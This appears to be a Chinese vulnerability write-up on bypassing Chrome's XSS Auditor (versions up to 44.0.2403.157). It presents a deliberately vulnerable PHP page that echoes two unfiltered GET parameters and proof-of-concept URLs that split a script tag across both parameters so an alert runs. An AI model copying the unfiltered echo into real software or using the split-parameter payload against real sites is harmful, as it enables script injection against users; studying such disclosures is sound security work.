<p>影响版本:Google Chrome〈 44.0.2403.157 </p><p>已知Google Chrome具有XSS防护机制,防止执行XSS中的的JS代码。</p><p>下面有一段PHP代码:</p><pre class="lang-php" data-lang="php"><?php
// Echo the value of parameter one
echo "This is text1:".$_GET['text1']."<br><br>";
// Echo the value of parameter two
echo "This is text2:".$_GET['text2']."<br><br>";
?>
</pre><p>此段PHP代码获得两个未经过滤的参数,可导致运行用户输入的JS脚本。</p><p>如果你在Chrome中测试如下:</p><p>http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)</script>&text2=Something<br></p><p>查看源代码能看到JS,但是alert并没有执行,由于Chrome的防护机制,页面源代码中JS以红色高亮显示:</p><p><img alt="屏幕快照 2015-08-26 下午3.36.59.png" src="https://images.seebug.org/contribute/9592b881-b239-47c2-9937-d15b51454552-屏幕快照 2015-08-26 下午3.36.59.png" data-image-size="1342,40"><br></p><p>当我们采用非闭合的script标签时,如</p><p>http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/)&text2=Something<br></p><p>查看源代码并没有红色标记。</p><p>因此,我们可以这么尝试:</p><p>http://[HOSTNAME]/[PATH]/chrome.php?text1=<script>alert(/XSS/);void('&text2=')</script><br></p><p>脚本成功执行:</p><p><img alt="屏幕快照 2015-08-26 下午3.50.30.png" src="https://images.seebug.org/contribute/c52e1af5-d7d1-4341-afaa-eb61e14cde0e-屏幕快照 2015-08-26 下午3.50.30.png" data-image-size="1406,428"><br></p><p>当然你也可以使用document.write('') 等替代void('').</p>
暂无评论